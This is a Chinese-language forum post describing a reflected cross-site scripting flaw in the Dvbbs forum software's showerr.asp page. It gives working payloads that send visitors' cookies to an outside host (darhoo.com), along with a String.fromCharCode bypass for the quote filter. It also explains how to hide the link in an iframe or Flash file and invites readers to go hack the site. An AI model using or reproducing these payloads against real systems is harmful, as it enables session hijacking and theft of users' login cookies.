这个漏洞一直存在的, 我一年多前就看别人提起了. 只是没人想深究它和利用起来有点技术困难, 所以动网并不知道, 或者并没有意识到这是个漏洞.
大家先看看下面的地址:
Code:

bbs.dvbbs.net/showerr.asp?BoardID=1&ErrCodes=24&action=<script>location.href="http://www.darhoo.com/getCookie.php?cookie="+document.cookie

用这地址进入动网将会被重定向到darhoo.com. 而且把动网的COOKIE也会带过来了darhoo.com, 用getCookie.php存下来了.

你会说别人不会蠢到点你这地址啊? 其实不然的, 他们根本不需要点什么东西, 只要把上面的地址用一个隐藏的IFRAME或者甚至用FLASH文件藏起来, 放在darhoo.com主页上, 谁会知道你在看darhoo.com的时候, 网管在偷你的COOKIE呢? 哈! 只要你去动网发个广告, 然后就等着收COOKIE吧!

要利用这漏洞必须要有自己的服务器/论坛, 还要会编写一些简单的ASP/PHP什么的, 所以并不是很多人会弄, 这也可能导致了动网的疏忽吧?


我自己试了一下, 发现竟然过滤了引号, 不过那也很容易绕过了, 改成下面就可以了:

Code:

bbs.dvbbs.net/showerr.asp?BoardID=1&ErrCodes=24&action=<script>location.href=String.fromCharCode(72)%2BString.fromCharCode(84)%2BString.fromCharCode(84)%2BString.fromCharCode(80)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(68)%2BString.fromCharCode(65)%2BString.fromCharCode(82)%2BString.fromCharCode(72)%2BString.fromCharCode(79)%2BString.fromCharCode(79)%2BString.fromCharCode(46)%2BString.fromCharCode(67)%2BString.fromCharCode(79)%2BString.fromCharCode(77)%2BString.fromCharCode(47)%2BString.fromCharCode(65)%2BString.fromCharCode(46)%2BString.fromCharCode(80)%2BString.fromCharCode(72)%2BString.fromCharCode(80)%2BString.fromCharCode(63)%2BString.fromCharCode(65)%2BString.fromCharCode(61)%2Bdocument.cookie

由于我比较懒, 就把那个地址改成:
"HTTP://DARHOO.COM/A.PHP?A=" +document.cookie
了. 试验成功, 大家可以去黑动网了. 哈哈!